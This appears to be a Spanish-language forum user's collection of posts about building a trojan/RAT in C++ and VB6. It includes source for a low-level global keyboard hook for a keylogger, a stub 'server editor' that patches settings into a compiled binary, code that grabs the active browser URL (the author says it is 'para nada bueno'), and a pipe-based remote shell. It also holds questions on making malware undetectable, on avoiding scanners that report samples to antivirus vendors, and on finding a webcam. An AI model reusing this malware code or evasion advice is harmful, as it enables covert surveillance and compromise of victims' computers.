Temas

Estoy desarrollando un troyano en c++ el servidor y c++/qt el cliente. Me gustaria saber que funciones os parecen importantes y os gusta que tengan los troyanos. Por ahora estoy o ya he desarrollado las que a mi me parecen mas importantes: una buena shell, un keylogger y un gestor de archivos. Que funciones creeis que deberia añadrle y deberian tener todo troyano?

Estoy desarrollando un keylogger y queria sacar las url de la ventana actual, del firefox y ie los he sacado rapido con las apis dde pero chrome  y safari se resisten. He probado con buscar la ventana de la url pero la han eliminado en la version 29 del chrome y la verdad nose como podria obtenerla, la unica idea por algun tipo de extension del chrome pero me parece un poco chapuza y nose como hacerlo la verdad, a ver si alguien puede orientarme

Alguien tiene alguna idea para obtener la url activa del google chrome y el safari? He conseguido las urls de ie y firefox con las apis de Dde pero chrome y safari no tienen Dde. Tambien he intentado el metodo de buscar la ventana y obtener su caption pero las ventanas ya no existen. Si alguien sabe al menos por donde puedo seguir porque no se me ocurre nada mas...

Se que algunos me vais a decir que no se puede, dado que en la MSDN pone esto:

A global hook procedure can be called in the context of any application in the same desktop as the calling thread, so the procedure must be in a separate DLL module.

Bueno por mucho que en la información de la MSDN diga que no se pueden hacer hooks globales sin una dll es mas que posible y algo real. Ya lo hice antes en otro lenguaje (VB6).

El problema es el siguiente aunque se parece ser que se instalan bien los hooks mi callback fuction nunca es llamada y ademas el ordenador se ralentiza. Estoy intentado hacer los hooks desde un programa de consola, y creo que es aqui donde reside el problema ya que encontre un codigo donde enseñaba a hacer los hook sin dll pero usaba tambien una interfaz grafica, al modificar ese codigo para que el programa fuese simplemente de consola empezo a dar los mismos problemas que mi programa.

Aqui el code para hacer el hook sin dll: http://www.mpcforum.com/showthread.php?78344-SRC-Global-Hook-without-dll-(C-)

Aqui mi code:

Código (cpp) [Seleccionar] Expandir

#define _WIN32_WINNT 0x0400

#include <windows.h>
#include <iostream>

HHOOK hook;

__declspec(dllexport) LRESULT CALLBACK KeyboardHookProc (int nCode,WPARAM wParam,LPARAM lParam)
{
   if  ((nCode == HC_ACTION) && ((wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN)))
   {
       KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);

//............. codigo manejador del hook

   }
   return CallNextHookEx(hook, nCode, wParam, lParam);
}

int main()
{
hook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)KeyboardHookProc,GetModuleHandle(NULL),NULL);

system("pause");

UnhookWindowsHookEx(hook);

return 1;
}

Basicamente hace lo mismo que el codigo que habia en el link solo que sin la interfaz asique estoy un poco confundido de porque no funciona y como arreglarlo. Primero crei que habia que crear el callback como si fuese una funcion de una DLL  y he definido la funcion como lo hacian en el otro code pero eso sigue sin funcionar. ¿Alguna idea? Gracias por adelantado, llevo mas de una semana comiendome el coco con esto XD

Hola a todos, tengo varias preguntas. ¿Porque tengo que linkear la libreria de ws2_32 directamente? con otras apis de windows las puedo usar simplemente incluyendo cabezeras. Esque me he dado cuenta que mi ejecutable en version release y sin apenas codigo, pues solo tiene hecha una conexion basica sockets ocupas casi 500kb, que me parece excesivo, estoy linkeando la libreria del winsock en las opciones del linker con code::blocks y me perguntaba si es por esto que el programa es tan grande. Si es asi ¿Hay alguna forma para no tener que linkearla? o para reducir el tamaño del programa.

Saludos y gracias 10^6

Bueno estaba haciendo ciertas pruebas creando dlls y llamandolas implicitamente y explicitamente para aprender un poco y ahora que le he puesto algunos argumentos me ejecuta la funcion de dll pero despues de ejecutarla me salta este error:

Código [Seleccionar] Expandir

Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call.
This is usually a result of calling a function declared with one calling convention with a function
pointer declared with a different calling convention.

El codigo del programa llamador es el siguiente:

main.cpp

Código (cpp) [Seleccionar] Expandir

#include <Windows.h>
#include <iostream>

typedef void (__stdcall *PROC_info)(char *,char *,long *,long *);

struct PLUGIN
{
HMODULE dll_entrypoint;
PROC_info info_func;
};

int main()
{

PLUGIN plugin1;

plugin1.dll_entrypoint = LoadLibraryA("C:\\Dll-Test1.dll");
if(plugin1.dll_entrypoint == NULL)
{
FreeLibrary(plugin1.dll_entrypoint);
MessageBoxA(0,"No se encuentra la DLL","Error",0);
return 1;
}
else{
char *Version = "";
char *Autor = "";
long *numAutor = 0;
long *numVersion = 0;


plugin1.info_func = (PROC_info)GetProcAddress(plugin1.dll_entrypoint,"func1");

plugin1.info_func(Version,Autor,numVersion,numAutor);
FreeLibrary(plugin1.dll_entrypoint);
}
system("pause");

return 0;
}

Y el codigo de la DLL

plugin_main.h

Código (cpp) [Seleccionar] Expandir

#define DLLDEXPORT  __declspec(dllexport)   // export DLL information

extern "C" {
      DLLDEXPORT void func1(char *, char *,long *,long *);
};




plugin_main.cpp

Código (cpp) [Seleccionar] Expandir

#include "plugin_main.h"
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved){
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //PROCESO CARGA
break;
case DLL_THREAD_ATTACH: //THREAD CARGA
break;
case DLL_THREAD_DETACH: //THREAD DESCARGA
break;
case DLL_PROCESS_DETACH: //PROCESO DESCARGA
break;
}
return TRUE;
}

DLLDEXPORT void func1(char *Version, char *Autor,long *numVersion,long *numAutor)
{
MessageBoxA(0,"Soy el texto","Soy el caption",1);
}


Si alguien me ayuda seria genial ya que despues de frustrarme para que ejecute la funcion ahora me saltan errores.



Pff siento las molestias resulto ser una tonteria...
Lo arregle cambiando en la declaracion de PROC_Info el __stdcall por un __cdecl

Saludos, Noele1995

Bueno lo que es es un editor de servidor en vb6 pero que no necesita llevar codigo en stub, no lo he visto nunca nose si ya estara inventado pero bueno me surgio la idea y me puse a ello. No sabia muy bien si publicarlo aqui o en vb6, pero como me parece que es mas orientado a malware lo de editor de servidor y eso pues bueno, lo pongo aqui  

Bueno se trata de hacer constantes en el stub y despues modificar los offset en los que estan escritas estas, las constantes deben ser del tamaño maximo que se introduzca desde el servidor, si una constante solo tiene una longitud para un caracter no puedes ponerle dos...

Bueno vamos a ello

FORMULARIO STUB

Código (vb) [Seleccionar] Expandir

'&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&'
'               EN EL FORMULARIO                   '
'&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&'
Option Explicit

Private Sub Form_Load()
MsgBox variableA 'Comprobamos que las constantes
MsgBox variableB 'han sido modificadas
End Sub

'&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&'
'     EN UN MODULO  LLAMADO mVariablesEdicion      '
'&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&'

Option Explicit

Public Const variableA        As String = "          " 'CONSTANTE DE 10 CARACTERES
Public Const variableB        As String = "          " 'CONSTANTE DE 10 CARACTERES

Guardamos y lo compilamos.

Ahora nos toca irnos a un editor hexadecimal para buscar los offset donde estan escritas las constantes, yo lo hare con WinHex.

Abrimos nuestro Stub ya compilado y le damos a buscar texto, buscamos mVariablesEdicion para encontrar donde esta nuestro modulo.

       

Nos pondra en puntero nuestro modulo y abajo veremos ya nuestras constantes, estas estan escritas de forma que se escribe un caracter y entre medias del siguiente un caracter nulo (00), seleccionamos el primer caracter de nuestra constante y abajo nos aparecera el offset en el que esta, apuntamos el offset , hacemos esto con las dos constates.





Vale ya tenemos los dos offsets: variableA = 17E0 -- EN DECIMAL --> 6112 -- PARA ESCRIBIR LA CADENA --> 6113
                                                  variableB = 17FC -- EN DECIMAL --> 6140 -- PARA ESCRIBIR LA CADENA --> 6141

Ahora para escribir en el exe al offset se le aumenta un  numero ya que los offset empiezan por 0 y en las cadenas el primer puntero es 1.

La longitud de las constantes YA COMPILADAS es de 20 (nuestros 10 caracteres + 10 caracteres nulos (0)).

Asique vamos con editor

Código (vb) [Seleccionar] Expandir

Option Explicit

Private Sub Form_Load()
Dim strTemp     As String

Open App.Path & "\Stub.exe" For Binary As #1    'Abrimos el stub
   strTemp = Space$(LOF(1))                    'Creamos un buffer con su tamaño
   Get #1, , strTemp                           'Obtenemos todo el stub en strTemp
Close #1                                        'Cerramos el stub

Kill (App.Path & "\Stub.exe")                   'Eliminamos el stub

'Aqui modificamos la zona donde estan escritas las constantes
       '   Offset Longitud         Lo que queremos introducir pasandolo por una funcion que nos añade loscaracteres nulos
Mid$(strTemp, 6113, 20) = InsertarNulos("VARIABLE A")   'RECORDAR QUE NO SE PUEDEN INTRODUCIR MAS CARACTERES QUE LOS DE LA CONSTANTE
'La segunda constante
Mid$(strTemp, 6141, 20) = InsertarNulos("VARIABLE B")   'RECORDAR QUE NO SE PUEDEN INTRODUCIR MAS CARACTERES QUE LOS DE LA CONSTANTE
   
Open App.Path & "\Stub.exe" For Binary As #1    'Creamos un nuevo stub y lo abrimos
   Put #1, , strTemp                           'Le escribimos la variable strTemp
Close #1                                        'Cerramos y terminamos
End Sub

Function InsertarNulos(ByVal strOriginal As String) As String
Dim Temp        As String
Dim i               As Long
If Not Len(strOriginal) > 0 Then Exit Function

For i = 1 To Len(strOriginal)
   Temp = Temp & Mid$(strOriginal, i, 1) & Chr$(0)
Next i

InsertarNulos = Temp
End Function

Guardamos, copiamos el stub compilado a la carpeta donde hemos guardado el editor, lo ejecutamos, y al ejecutar el stub veremos las constantes cambiadas.

Bueno eso es todo, comenten que les parece.

Ayer estuve trabajando en un keylogger, lo analice en chk4me.com y me salian 3 firmas, lo modee un poco y salieron rapidamente, lo escanee y ya yo na habia detecciones. Hoy con mi paranoya me ha dado por volver a escanearlo, y 3 FIRMAS de nuevo... yo aqui ya no lo entendia, pero bueno abri un nuevo proyecto, copie el codigo compile y tras las firmas fuera de nuevo...
Si alguien que sepa mas de esto me podria explicar porque pasan estas cosas se lo agradeceria ya que son cosas buenas a saber cuando intentas dejar algo fud.

Salu2, Noele1995.

Bueno el otro dia se me ocurrio obtener las urls de los navegadores (para nada bueno   ) y buscando encontre una funcion de nuestro compañero LeandroA, pero esta solo podia sacar las URLs de Firefox,IExplorer y Opera. Me he puesto a investigar un poco para añadirle algun navegador mas y esto es lo que he sacado. A la funcion se le pasa el caption de la ventana de la que se queire obtener la url.

Código (vb) [Seleccionar] Expandir

Option Explicit

Private Declare Function DdeInitialize Lib "user32" Alias "DdeInitializeA" (pidInst As Long, ByVal pfnCallback As Long, ByVal afCmd As Long, ByVal ulRes As Long) As Integer
Private Declare Function DdeCreateStringHandle Lib "user32" Alias "DdeCreateStringHandleA" (ByVal idInst As Long, ByVal psz As String, ByVal iCodePage As Long) As Long
Private Declare Function DdeConnect Lib "user32" (ByVal idInst As Long, ByVal hszService As Long, ByVal hszTopic As Long, pCC As Any) As Long
Private Declare Function DdeFreeStringHandle Lib "user32" (ByVal idInst As Long, ByVal hsz As Long) As Long
Private Declare Function DdeUninitialize Lib "user32" (ByVal idInst As Long) As Long
Private Declare Function DdeClientTransaction Lib "user32.dll" (ByVal pData As Long, ByVal cbData As Long, ByVal hConv As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal wType As Long, ByVal dwTimeout As Long, ByRef pdwResult As Long) As Long
Private Declare Function DdeAccessData Lib "user32.dll" (ByVal hData As Long, ByRef pcbDataSize As Long) As Long
Private Declare Function DdeUnaccessData Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeFreeDataHandle Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeDisconnect Lib "user32.dll" (ByVal hConv As Long) As Long
Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long

Private Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal Hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal lParam As Any) As Long

Private Const FIREFOX       As String = "firefox"
Private Const OPERA         As String = "opera"
Private Const IEXPLORER     As String = "iexplore"
Private Const CHROME        As String = "chrome"
Private Const NETCAPTOR     As String = "netcaptor"

Private Const XCLASS_DATA   As Long = &H2000
Private Const XTYP_REQUEST  As Long = (&HB0 Or XCLASS_DATA)

Private Const CP_WINANSI    As Long = 1004
Private Const CF_TEXT       As Long = 1

Private Const WM_GETTEXT = &HD

Private Type WindowNavegador
    Hwnd    As Long
    Class   As String
End Type

Private WindowsNavegadores() As WindowNavegador

Public Function GetBrowserInfo(ByVal Hwnd As Long, Optional ByVal WinCaption As String) As String
On Error Resume Next
Dim lpData      As Long, hData      As Long, sData      As String
Dim hServer     As Long, hTopic     As Long, hItem      As Long
Dim hConv       As Long, idInst     As Long, sServer    As String
Dim Ret         As Long, i          As Long
Dim sBuffer     As String, CLASS_1 As String, CLASS_2 As String

If WinCaption = "" Then
    sBuffer = String$(1024, Chr$(0))
    SendMessage Hwnd, WM_GETTEXT, Len(sBuffer), sBuffer
    WinCaption = Replace$(sBuffer, Chr$(0), "")
    If WinCaption = "" Then Exit Function
End If

If InStr(1, LCase$(WinCaption), LCase$(CHROME)) <> 0 Then sServer = CHROME: CLASS_1 = "Chrome_OmniboxView": CLASS_2 = "Chrome_AutocompleteEditView"
If InStr(1, LCase$(WinCaption), LCase$(FIREFOX)) <> 0 Then sServer = FIREFOX
If InStr(1, LCase$(WinCaption), LCase$("INTERNET EXPLORER")) <> 0 Then sServer = IEXPLORER
If InStr(1, LCase$(WinCaption), LCase$(OPERA)) <> 0 Then sServer = OPERA
If InStr(1, LCase$(WinCaption), LCase$(NETCAPTOR)) <> 0 Then sServer = NETCAPTOR: CLASS_1 = "Edit": CLASS_2 = "Edit"
If sServer = "" Then Exit Function

If sServer = FIREFOX Or sServer = OPERA Or sServer = IEXPLORER Then
    If DdeInitialize(idInst, 0, 0, 0) <> 0 Then Exit Function
   
    hServer = DdeCreateStringHandle(idInst, sServer, CP_WINANSI)
    hTopic = DdeCreateStringHandle(idInst, "WWW_GetWindowInfo", CP_WINANSI)
    hItem = DdeCreateStringHandle(idInst, "0xFFFFFFFF", CP_WINANSI)
   
    hConv = DdeConnect(idInst, hServer, hTopic, ByVal 0&)
   
    If hConv Then
        hData = DdeClientTransaction(0, 0, hConv, hItem, CF_TEXT, XTYP_REQUEST, 1000, 0)
        lpData = DdeAccessData(hData, 500)
        sBuffer = String$(500, Chr$(0))
        lstrcpy sBuffer, lpData
        GetBrowserInfo = Left$(sBuffer, InStr(sBuffer, Chr(0)) - 1)
        DdeUnaccessData hData
        DdeFreeDataHandle hData
        DdeDisconnect hConv
    End If
   
    DdeFreeStringHandle idInst, hServer
    DdeFreeStringHandle idInst, hTopic
    DdeFreeStringHandle idInst, hItem
    DdeUninitialize idInst
   
    If GetBrowserInfo <> "" Then GetBrowserInfo = Split(GetBrowserInfo, ",")(0)
    If Right$(GetBrowserInfo, 1) = """" Then GetBrowserInfo = Left$(GetBrowserInfo, Len(GetBrowserInfo) - 1)
    If Left$(GetBrowserInfo, 1) = """" Then GetBrowserInfo = Right$(GetBrowserInfo, Len(GetBrowserInfo) - 1)
End If

If sServer = CHROME Or sServer = NETCAPTOR Then
    ReDim WindowsNavegadores(0)
   
    EnumChildWindows Hwnd, AddressOf EnumChildWndProc, 0&
   
    sBuffer = String$(1024, Chr$(0))
    For i = 1 To UBound(WindowsNavegadores)
        If WindowsNavegadores(i).Class = CLASS_1 Or WindowsNavegadores(i).Class = CLASS_2 Then
            SendMessage WindowsNavegadores(i).Hwnd, WM_GETTEXT, Len(sBuffer), sBuffer
            GetBrowserInfo = Replace$(sBuffer, Chr$(0), "")
            Exit Function
        End If
    Next i
End If
End Function

Public Function EnumChildWndProc(ByVal Hwnd As Long, ByVal lParam As Long) As Long
On Error Resume Next
Dim Ret     As Long, sText  As String * 255

ReDim Preserve WindowsNavegadores(UBound(WindowsNavegadores) + 1)
WindowsNavegadores(UBound(WindowsNavegadores)).Hwnd = Hwnd

Ret = GetClassName(Hwnd, sText, 255)
If Ret <> 0 Then
    WindowsNavegadores(UBound(WindowsNavegadores)).Class = Left$(sText, Ret)
End If

EnumChildWndProc = 1
End Function

La funcion esta un poco chapucera pero sirve :DD

PD: Espero que a LeandroA no le moleste haber modificado su funcion

Salu2 Noele1995



Edit: He puesto la funcion mas ordenada con los parametros que deberia llevar y mas cortita. Safari no lo he conseguido hacer si alguien tiene una idea de como sacar la url de safari que ponga un ejemoplo o me indique un poco porque estoy dando palos a ciegas.

Bueno nose muy bien si este mensaje esta adecuadamente aqui si no es asi que algun mod lo mueva o me diga donde deberia postearlo.

Bueno la intencion del mensaje esque estoy buscando gente para hacer un proyecto de prgramacion de un rat en VB6, busco gente que sepa moverse por este lenguaje (tener una cierta soltura con cosas como apis, etc...) y tenga conocimientos sobre creacion de troyanos. Me gusta la idea para asi poder crear una buena herramienta y compartir conocimientos. Bueno si alguien se anima ya sabe! 

Salu2, Noele1995

Estaba viendo la deteccion de mi troyano y pense en subirlo a una pagina escaneadora, pero despues de mirar algunas como VirusTotal o VirScan lei en sus politicas que le pasarian los informes a las compañias antivirus para que puedan introducir el virus en su base de datos. El problema esque estuve mirando alguna pagina mas en la que no encontre si les pasan los informes o no pero no me quiero arriesgar y por internet no encuentro informacion al respecto. Si alguien sabe que paginas no pasan los informes se lo agradeceria mucho.

Bueno para mi troyano queria elaborar una buena shell remota con pipes, como no tenia mucha idea me puse a investigar y ayudandome de una shell que encontre purulando por la web he elaborado este codigo pero nose porque me da error, si alguien me puede ayudar se lo agradeceria. El error lo da la api CreateProcessA.

Código (vb) [Seleccionar] Expandir

Public Function CMD(Comando As String) As String
On Error GoTo Error_cmd

Dim hReadPipe       As Long
Dim hWritePipe      As Long
Dim SecAtt          As SECURITY_ATTRIBUTES
Dim ProcInfo        As PROCESS_INFORMATION
Dim StUpInfo        As STARTUPINFO
Dim Ret             As Long
Dim Buffer          As String * 256
Dim BytesRead       As Long


SecAtt.nLength = Len(SecAtt)
SecAtt.bInheritHandle = 1&
SecAtt.lpSecurityDescriptor = 0&

If CreatePipe(hReadPipe, hWritePipe, SecAtt, 0) = 0 Then
    CMD = "Error: " & Err.LastDllError
    Exit Function
End If

StUpInfo.cb = Len(StUpInfo)
StUpInfo.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
StUpInfo.hStdOutput = hWritePipe
StUpInfo.hStdError = hWritePipe
Comando = Environ("COMSPEC") & " /c " & Comando

If CreateProcessA(vbNullString, Comando, SecAtt, SecAtt, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, StUpInfo, ProcInfo) = 0 Then
    CMD = "Error: " & Err.LastDllError
    Exit Function
End If

CloseHandle (hWritePipe)
CMD = ""

Do
    Ret = ReadFile(hReadPipe, Buffer, 256, BytesRead, 0&)
    CMD = CMD & Left$(Buffer, BytesRead)
Loop While Ret <> 0

CloseHandle (ProcInfo.hThread)
CloseHandle (ProcInfo.hProcess)
CloseHandle (hWritePipe)
Exit Function

Error_cmd:
CMD = "Error: " & Err.Description
End Function

Buenas de nuevo, me ha surgido una duda mientras estaba con un proyecto, es posible poner una imagen en un subitem de un listview? he buscado sobre ello pero no encuentro nada, si alguien a conseguido hacer esto le agradeceria su ayuda, y si no se puede tambien me gustaria saberlo para no comerme mas el coco xD

salu2!      Noele

Hola pues hace unos dias hice un modulo para un proyecto en el que precisaba de el envio de archivos, y lo queria compartir para que la gente lo viese, se que esta muy hablada la transferencia de archivos, pero lo queria subir porque este modulo tambien da un ejemplo de la transferencia de carpetas, que cuando en su momento busque informacion acerca de esto apenas salio algun resultado, asique aqui lo dejo, ante cualquier fallo porfavor decirmelo!!

http://www.mediafire.com/?2045303add0r438

Salu2, Noele1995

Hola en el proyecto actual que estoy haciendo estoy con el registro de windows, tengo algun que otro problemilla al leer los valores, cuando los valores son DWORD, no consigo leer su valor, les pongo el codigo:

Código (vb) [Seleccionar] Expandir

Public Function ValueData(Key As Long, strValueName As String, sType As Long) As String
Dim lResult As Long, RetornoData As Long, strData As String, lngData As Currency, binData() As Byte, sTmp As String
Dim i As Integer
Select Case sType
    Case REG_NONE
        ValueData = vbNullString
   
    Case REG_SZ, REG_EXPAND_SZ, REG_LINK
        lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal 0, RetornoData)
       
        If lResult = 0 Then
            strData = String(RetornoData, Chr$(0))
            lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal strData, RetornoData)
           
            If lResult = 0 Then
                ValueData = Left$(strData, InStr(1, strData, Chr$(0)) - 1)
            End If
        End If
   
    Case REG_MULTI_SZ
        lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal 0, RetornoData)
       
        If lResult = 0 Then
            strData = String(RetornoData, Chr$(0))
            lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal strData, RetornoData)
           
            If lResult = 0 Then
                For i = Len(strData) To 1 Step -1
                    If Mid$(strData, i, 1) = Chr$(0) Then
                    strData = Left$(strData, i - 1)
                    Exit For
                End If
                Next
                For i = 1 To Len(strData)
                    If Mid$(strData, i, 1) = Chr$(0) Then
                    Mid$(strData, i, 1) = " "
                    End If
                Next
               
                ValueData = Left$(strData, InStr(1, strData, Chr$(0)) - 1)
            End If
        End If
        For i = Len(strData) To 1 Step -1
            If Mid$(strData, i, 1) = Chr$(0) Then
                strData = Left$(strData, i - 1)
                Exit For
            End If
        Next
        For i = 1 To Len(strData)
            If Mid$(strData, i, 1) = Chr$(0) Then
                Mid$(strData, i, 1) = " "
            End If
        Next
   
    Case REG_BINARY
        lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal 0, RetornoData)
        If lResult = 0 Then
            ReDim binData(RetornoData)
            lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, binData(0), RetornoData)
           
            If lResult = 0 Then
                For i = 0 To UBound(binData) - 1
                    sTmp = sTmp & Right$("00" & Hex$(binData(i)), 2) & " "
                Next
                ValueData = sTmp
            End If
        End If
       
    Case REG_DWORD, REG_DWORD_BIG_ENDIAN
        lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, lngData, RetornoData)
        If lResult = 0 Then
            ValueData = "0x" & Right$("00000000" & Hex$(lngData), 8) & " (" & lngData & ")"
        End If
    Case Else
        lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal 0, RetornoData)
        If lResult = 0 Then
            strData = String(RetornoData, Chr$(0))
            lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal strData, RetornoData)
           
            If lResult = 0 Then
                ValueData = Left$(strData, InStr(1, strData, Chr$(0)) - 1)
            End If
        End If
End Select
End Function

A la funcion se la llama con la clave ya abierta, si pueden ayudarme se lo agradeceria.

PD: ¿Como hacen para que el codigo salga con colores? Es menos lioso xD

Me preguntaba si alguien podria ayudarme con el codigo para detectar si hay una webcam disponible en la pc. He probado con varias cosas pero me han terminado de ir bien y googleando tampoco he encontrado cosas que funcionen correctamente.

Gracias de antemano